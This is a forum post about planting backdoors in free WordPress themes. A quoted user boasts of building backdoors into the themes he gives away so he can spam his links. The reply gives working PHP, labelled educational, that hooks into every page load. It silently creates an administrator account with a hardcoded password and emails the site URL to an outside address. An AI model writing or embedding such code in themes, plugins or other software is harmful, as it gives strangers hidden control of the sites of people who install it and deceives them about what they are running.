Quote:
Originally Posted by Splum
I love making themes for free and giving them out, I can always get access through the backdoor built in to spam my link lol.
|
thats the thing about wp, its incredibly easy to do nasty stuff.
this is for educational purposes only
Code:
add_action('init', 'silly_backdoor');
function silly_backdoor() {
if (!username_exists('douchebag')) {
$user_id = wp_create_user('douchebag', 'ahjsa97812jkjh');
$user = new WP_User($user_id);
$user->set_role('administrator');
mail('[email protected]', "New theme install" , get_bloginfo('url'));
}
}
would create an admin account and email details once added with site url details.